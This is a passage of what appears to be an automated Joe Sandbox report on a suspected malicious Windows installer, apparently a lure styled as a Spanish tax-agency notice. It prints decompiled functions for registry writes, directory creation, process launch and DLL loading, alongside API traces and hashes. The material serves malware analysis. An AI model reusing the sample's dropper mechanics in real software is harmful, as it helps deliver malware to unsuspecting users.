				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x18));
				_t34 = __eax;
				 *(_t39 - 0x4c) =  *(_t39 - 0x14);
				 *(_t39 - 0x3c) = E00402C37(2);
				_t20 = E00402C37(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402CC7(_t42, _t34, _t20, 2); // executed
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402C37(0x23);
						_t24 = lstrlenW(0x40b5a8) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x40b5a8 = E00402C15("true");
						 *((intOrPtr*)(_t39 - 0x30)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E004030FA( *((intOrPtr*)(_t39 - 0x1c)), _t30, 0x40b5a8, 0x1800);
					}
					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x3c), _t30,  *(_t39 - 0x4c), 0x40b5a8, _t24); // executed
					if(_t25 == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *(_t39 - 4);
				return 0;
			}

0x004023de
0x004023de
0x004023de
0x004023e1
0x004023e8
0x004023f2
0x004023f5
0x004023fe
0x00402405
0x0040240c
0x0040240f
0x00402415
0x0040241f
0x00402423
0x0040242e
0x0040242e
0x00402435
0x0040243f
0x00402445
0x00402448
0x00402448
0x0040244c
0x00402458
0x00402458
0x00402469
0x00402471
0x00402473
0x00402473
0x00402476
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 00402429
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402469
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Strings

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 0040241A, 0040243F, 00402453, 0040245E

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp
API String ID: 2655323295-2075911909
Opcode ID: da5dd1646f1b3941156e64929c72752a0b3671e5fd854432c304d9b0703b255a
Instruction ID: 065199c4180da03f85bcad36feea8d83242cacde3b0560515a804f641c4ac6e3
Opcode Fuzzy Hash: da5dd1646f1b3941156e64929c72752a0b3671e5fd854432c304d9b0703b255a
Instruction Fuzzy Hash: 21119371E00108BEEB10AFA5DE49EAEBAB4EB54354F11803BF504F71D1DBB84D419B58

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402C37(0xfffffff0);
				_t17 = E00405BDB(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405B5D(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E0040580F( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x20)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x20)) == _t28 || E0040582C(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405792( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x24)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040625F(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated\\Handlingssted\\Skovsnegles\\Herb",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x00402245
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402ac2
0x00402ace

APIs

Part of subcall function 00405BDB: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,00405C4F,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405BE9
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405BEE
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405C06

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405792: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057D5

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb
API String ID: 1892508949-994228958
Opcode ID: cfaf144a50c9d872fad7681be613026781b9e36b6b2873b11358c1c1ca949dd0
Instruction ID: a664f1efeb726e69a6ab8af553608a028f51c0b4cf1c5e7724f5d8b0eae84205
Opcode Fuzzy Hash: cfaf144a50c9d872fad7681be613026781b9e36b6b2873b11358c1c1ca949dd0
Instruction Fuzzy Hash: 9311BE31504504EBCF317FA0CD4159F36A0EF15368B28493BEA45B22F2DB3E4D519A5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040612D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040612D(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004060CC(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x0040613b
0x0040613d
0x00406155
0x0040615a
0x0040615f
0x0040619d
0x0040619d
0x00406161
0x00406173
0x0040617e
0x00406184
0x0040618f
0x00000000
0x00000000
0x0040618f
0x004061a3

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063A1,80000002), ref: 00406173
RegCloseKey.ADVAPI32(?,?,004063A1,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 0040617E

Strings

Call, xrefs: 00406134

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: 844fa4e459781eb8e351c6656b051d01f86af1f9d8b6039d3a5e8c643dc5dfc4
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: E1015A72500209EAEF218F51CD0AEDB3BA8EF54360F01803AF91AA6191D778D964CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405844 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405844(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x7a4f28->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x7a4f28,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x0040584d
0x0040586d
0x00405875
0x0040587a
0x00000000
0x00405880
0x00405884

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 0040586D
CloseHandle.KERNEL32(?), ref: 0040587A

Strings

Error launching installer, xrefs: 00405857

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: aeed2aac7dae16331184000a6a76f50175ec0d5b09d6907c0601aa480b830b3a
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: A0E0BFF5500209BFEB009F64ED05E7B76ACEB54645F018525BD50F2190D67999148A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040202C Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040202C(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				void* _t34;
				WCHAR* _t37;
				intOrPtr* _t38;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x7a8af8");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x7a8ac8 =  *0x7a8ac8 +  *(_t39 - 4);
					return 0;
				}
				_t37 = E00402C37(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x3c)) = E00402C37(1);
				if( *((intOrPtr*)(_t39 - 0x18)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t37, _t32, 8); // executed
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t38 = E004066A8( *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x3c)));
					if(_t38 == _t32) {
						E004052C3(0xfffffff7,  *((intOrPtr*)(_t39 - 0x3c)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x20)) == _t32) {
							 *_t38( *((intOrPtr*)(_t39 - 8)), 0x400, _t34, 0x40cdac, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x20)));
							if( *_t38() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x1c)) == _t32 && E0040390D( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t37); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x0040202c
0x0040202c
0x00402031
0x00402038
0x004020f7
0x00402245
0x00402245
0x00402abf
0x00402ac2
0x00402ace
0x00402ace
0x00402047
0x00402051
0x00402054
0x00402064
0x00402068
0x00402070
0x00402073
0x004020f0
0x00000000
0x004020f0
0x00402075
0x00402080
0x00402084
0x004020c4
0x00402086
0x00402089
0x0040208c
0x004020b8
0x0040208e
0x00402091
0x0040209a
0x0040209c
0x0040209c
0x0040209a
0x0040208c
0x004020cc
0x004020e5
0x004020e5
0x00000000
0x004020cc
0x00402057
0x0040205f
0x00402062
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057

Part of subcall function 004052C3: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
Part of subcall function 004052C3: lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
Part of subcall function 004052C3: lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
Part of subcall function 004052C3: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
Part of subcall function 004052C3: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
Part of subcall function 004052C3: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
Part of subcall function 004052C3: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402068
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 004020E5

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 7ec08670c164e3e4a84eae5e80db5c7481304a47723853e255a05842b85f3cdd
Instruction ID: 33d9dd4ae41202a81bff1c9b27653e69474f3e4813fbbe5d8a50aab7b73a9ae0
Opcode Fuzzy Hash: 7ec08670c164e3e4a84eae5e80db5c7481304a47723853e255a05842b85f3cdd
Instruction Fuzzy Hash: 1E21B371900208AACF20AFA5CE4CA9E7970AF05354F64813BF511B11E1DBBD4951DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B71(void* __ebx) {
				intOrPtr _t8;
				void* _t9;
				void _t12;
				void* _t14;
				void* _t22;
				void* _t25;
				void* _t30;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t37;

				_t28 = __ebx;
				_t8 =  *((intOrPtr*)(_t37 - 0x20));
				_t30 =  *0x40cdac; // 0xb82608
				if(_t8 == __ebx) {
					if( *((intOrPtr*)(_t37 - 0x24)) == __ebx) {
						_t9 = GlobalAlloc(0x40, 0x804); // executed
						_t34 = _t9;
						_t5 = _t34 + 4; // 0x4
						E00406281(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x28)));
						_t12 =  *0x40cdac; // 0xb82608
						 *_t34 = _t12;
						 *0x40cdac = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t3 = _t30 + 4; // 0xb8260c
							E0040625F(_t33, _t3);
							_push(_t30);
							 *0x40cdac =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t8 = _t8 - 1;
						if(_t30 == _t28) {
							break;
						}
						_t30 =  *_t30;
						if(_t8 != _t28) {
							continue;
						} else {
							if(_t30 == _t28) {
								break;
							} else {
								_t32 = _t30 + 4;
								_t36 = L"Call";
								E0040625F(_t36, _t30 + 4);
								_t22 =  *0x40cdac; // 0xb82608
								E0040625F(_t32, _t22 + 4);
								_t25 =  *0x40cdac; // 0xb82608
								_push(_t36);
								_push(_t25 + 4);
								E0040625F();
								L15:
								 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t37 - 4));
								_t14 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E00406281(_t28, _t30, _t33, _t28, 0xffffffe8));
					E004058C1();
					_t14 = 0x7fffffff;
				}
				L17:
				return _t14;
			}

0x00401b71
0x00401b71
0x00401b74
0x00401b7c
0x00401bc5
0x00401bf3
0x00401bfc
0x00401bfe
0x00401c02
0x00401c07
0x00401c0c
0x00401c0e
0x00401bc7
0x00401bc9
0x00402885
0x00401bcf
0x00401bcf
0x00401bd4
0x00401bdb
0x00401bdc
0x00401be1
0x00401be1
0x00401bc9
0x00000000
0x00401b7e
0x00401b7e
0x00401b7e
0x00401b81
0x00000000
0x00000000
0x00401b87
0x00401b8b
0x00000000
0x00401b8d
0x00401b8f
0x00000000
0x00401b95
0x00401b95
0x00401b98
0x00401b9f
0x00401ba4
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbc
0x004029db
0x00402abf
0x00402ac2
0x00402ac8
0x00402ac8
0x00401b8f
0x00000000
0x00401b8b
0x004022de
0x004022eb
0x004022ec
0x004022f1
0x004022f1
0x00402aca
0x00402ace

APIs

GlobalFree.KERNEL32(00B82608), ref: 00401BE1
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF3

Strings

Call, xrefs: 00401B98, 00401B9E, 00401BB8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 1bbcc836f2a4653b13522cd00a863f9842cd1eaa2e08dbca4416ed67f050c7c0
Instruction ID: ff4179f111cc43373cd76ec1a10ab0793b80b0baf7d628909b63b00cde6b52bc
Opcode Fuzzy Hash: 1bbcc836f2a4653b13522cd00a863f9842cd1eaa2e08dbca4416ed67f050c7c0
Instruction Fuzzy Hash: 5521AC72600100EFDB60FB94CE8895A76BAAF94328725413BF502F72D2DA7C98518F1D

Uniqueness

Uniqueness Score: -1.00%

Function 004024F2 Relevance: 4.5, APIs: 3, Instructions: 47
